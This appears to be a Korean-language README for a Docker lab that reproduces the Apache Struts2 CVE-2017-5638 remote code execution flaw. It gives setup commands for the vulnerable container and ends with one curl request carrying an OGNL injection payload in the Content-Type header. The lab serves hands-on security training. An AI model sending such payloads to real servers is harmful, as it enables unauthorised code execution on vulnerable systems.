
Apache Struts2 (CVE-2017-5638)의 치명적인 원격 코드 실행(RCE) 취약점을 Vulhub Docker 환경에서 직접 실습해 볼 수 있는 실습형 랩입니다. 취약한 컨테이너를 실행하기 위한 설정 지침과 명령어가 포함되어 있습니다.
이 프로젝트는 Apache Struts2(CVE-2017-5638)의 원격 코드 실행(RCE) 취약점을 보여줍니다.
공격자는 조작된 HTTP Content-Type 헤더를 사용하여 취약한 서버에서 임의의 시스템 명령을 실행할 수 있습니다.
이 저장소는 Vulhub Docker 실습 환경을 사용하여 취약점을 안전하게 테스트하고 이해할 수 있는 환경을 제공합니다.
1️⃣ 이 저장소를 클론합니다
git clone https://github.com/soufiane-benchahyd/vulhub-struts2.git
cd vulhub-struts2/struts2/s2-045
2️⃣ 취약한 컨테이너를 시작합니다
docker compose up -d
3️⃣ 컨테이너가 실행 중인지 확인합니다
docker ps
다음과 유사한 출력이 표시되어야 합니다:
CONTAINER ID IMAGE COMMAND STATUS PORTS
xxxxxxx vulhub/struts2:2.3.30 "/usr/local/bin/mvn-…" Up 0.0.0.0:8080->8080/tcp
4️⃣ 웹 인터페이스를 테스트합니다
브라우저를 열고 → http://<VM_IP>:8080
Struts2 애플리케이션 홈페이지가 표시되어야 합니다.
VM IP 예시:
192.168.56.101
⚠️ 통제된 실습 환경에서만 익스플로잇을 수행하십시오. 절대 공용 서버를 공격하지 마십시오.
이제 스크립트나 curl, Metasploit과 같은 도구를 사용하여 취약한 컨테이너에 대해 RCE를 테스트할 수 있습니다.
예시 (<command>를 테스트 명령어로 대체):
curl -v -H "Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','test')}" http://<VM_IP>:8080/